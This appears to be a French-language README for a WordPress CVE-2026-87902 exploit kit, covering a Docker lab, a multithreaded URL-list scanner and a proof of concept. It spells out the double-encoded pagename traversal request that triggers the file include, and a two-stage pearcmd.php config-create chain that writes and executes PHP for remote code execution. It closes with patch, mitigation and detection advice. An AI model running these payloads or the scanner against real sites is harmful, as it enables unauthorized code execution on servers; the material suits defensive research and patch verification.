Labo de reproduction + scanner de liste d'URL + PoC pour CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI non authentifié via get_page_template() de WordPress menant à une RCE conditionnelle (WP 4.7.0-7.1.1, corrigé en 7.1.2). Tests autorisés/défensifs.
get_page_template() de WordPress → RCE conditionnelLab de reproduction + scanner de liste d'URL + PoC, construit et validé de bout en bout contre de véritables WordPress 7.1.1 (vulnérable) et 7.1.2 (corrigé) sur le lab Docker.
include/require (traversée de chemin → inclusion PHP locale)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-* (par ex. — présent dans Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney) ; (2) pour la RCE uniquement : un lisible et .page-templates/pearcmd.phpregister_argc_argv=Onwp-includes/template.php :: get_page_template() construit un candidat de template à partir de la
query var pagename contrôlée par l'attaquant sans validate_file() :
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
locate_template() fait ensuite file_exists($theme_dir . '/' . $candidate) et include le fichier trouvé.
Comme le candidat est page-{...}.php, la charge utile doit prolonger un répertoire de thème réel qui
commence par page- (par ex. page-templates/) puis remonter avec ../ vers n'importe quel .php lisible.
Le double encodage est obligatoire. get_query_var('pagename') est déjà décodé une fois par PHP, donc un
simple ../ fait que urldecode($pagename) === $pagename et la branche vulnérable est ignorée. Un
%252e%252e%252f doublement encodé survit au premier décodage sous la forme %2e%2e%2f et n'est transformé en ../
que par le urldecode() supplémentaire — c'est là le bug.
lab/)De véritables versions côte à côte sur l'hôte Docker, ne différant que par le correctif de sécurité :
| Service | URL (loopback uniquement) | WordPress | Rôle |
|---|---|---|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | vulnérable |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | témoin corrigé |
db | — | MySQL 8.4 | partagé (deux bases de données) |
Image de base wordpress:php8.3-apache (qui embarque déjà pearcmd.php et register_argc_argv=On),
avec le cœur fourni remplacé par les authentiques wordpress-7.1.1.zip / 7.1.2.zip. Twenty Fourteen est
activé (véritable page-templates/), et un fixture page-templates/ est également créé dans le thème actif.
ID de page publiée = 2 (Sample Page).
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
Les ports se lient à 127.0.0.1 uniquement — l'instance vulnérable n'est jamais exposée au réseau.
poc/cve-2026-87902-scan.py)Python 3, stdlib uniquement (pas de pip install). Prend une liste d'URL et indique lesquelles sont
vulnérables. Le scan par défaut est non destructif : il inclut le fichier cœur en lecture seule
wp-links-opml.php et recherche le document OPML résultant — preuve que l'inclusion arbitraire de .php
s'est déclenchée, sans écriture ni changement d'état.
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php →
readme.html → asset /wp-includes/ ?ver=)./wp/v2/pages, repli ?rest_route=, page d'accueil
page-id-N, défaut page_id=2) — nécessaire pour que la requête se résolve en une Page et que get_page_template() s'exécute.segment × profondeur (segment par défaut templates, profondeurs 4,3,5,6,7), envoyer
page_id=<id>&pagename=<../ doublement encodé → wp-links-opml> (POST, pour éviter la redirection canonique) et
exiger un HTTP 200 portant <opml version="1.0"> + un marqueur secondaire structurel (</opml> / <outline / <dateCreated>)..php garanti inexistant. Si l'OPML apparaît encore, l'OPML est ambiant (proxy / cache / application de flux),
et non notre inclusion → rétrogradé en POSSIBLY. Seul un succès dont le contrôle est propre est VULNERABLE.Robustesse : préserve les chemins de sous-répertoire (http://host/blog), gère gzip/deflate et les charsets
inhabituels, réessaie une sonde une fois en cas d'erreur de transport, découvre/valide les ID de page (REST → ?rest_route= → page d'accueil
→ défauts), impose un budget de temps par cible, et n'affirme jamais NOT_VULNERABLE à partir d'une source de
version à faible confiance (asset ?ver= / readme.html) — celles-ci dégradent en POSSIBLY.
| Verdict | Signification |
|---|---|
VULNERABLE | L'oracle OPML s'est déclenché — LFI confirmée (définitif) |
NOT_VULNERABLE | version de la branche corrigée, ou version hors 4.7.0–7.1.1 |
POSSIBLY_VULNERABLE | version vulnérable/inconnue mais oracle silencieux (probablement pas de répertoire de thème page-*, disposition non standard, ou aucun ID de page découvrable) — vérifier manuellement |
NOT_WORDPRESS / ERROR | aucun indicateur WP / échec de transport |
Code de sortie : 2 si au moins un VULNERABLE, 1 si au moins un POSSIBLY (et aucun VULNERABLE), sinon 0.
Options utiles : --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids,
--max-time (budget par cible), --timeout, --threads, --proxy, --header, --insecure
(TLS désactivé — dev uniquement), --json, --jsonl. Pour une installation WordPress dans un sous-répertoire, passer la base complète
(par ex. https://host/blog) ; pour Bedrock/cœur dans wp/, le balayage essaie aussi les cibles d'oracle préfixées par wp/.
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
Exécute la chaîne PEAR pearcmd.php : la chaîne de requête séparée par + transporte les argv config-create qui écrivent
un marqueur .php sans guillemets sous /tmp ; une seconde requête l'inclut. Affiche le marqueur exécuté +
php_uname() + uid. Écrit un fichier sur la cible → cible unique, nécessite --i-have-authorization,
désactivé par défaut.
evidence/)| Fichier | Ce qu'il prouve |
|---|---|
manual-validate.sh / ev-lfi.log | L'oracle OPML se déclenche sur 7.1.1 (profondeur 4, POST et GET), silencieux sur 7.1.2 ; seule la profondeur 4 fonctionne ; l'encodage simple échoue |
rce-validate.sh / ev-rce.log | RCE PEAR complète sur 7.1.1 (uid=33 en tant que www-data, profondeur 7) ; la version corrigée n'écrit aucun fichier, n'exécute rien |
ev-scan-table.log / ev-scan-results.json | scanner sur {vuln, patched, non-WP, dead} : VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |
Formes de requêtes prouvées :
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off pour le SAPI web et supprimer/refuser pearcmd.php ;
cela supprime l'escalade RCE même si la LFI est atteignable.pagename contenant .. ; la co-occurrence de page_id + un pagename commençant par templates%252f /
contenant %252e%252e sur la racine du site ou /index.php est un signal d'exploitation quasi certain.Tests de sécurité autorisés, éducation et recherche défensive uniquement.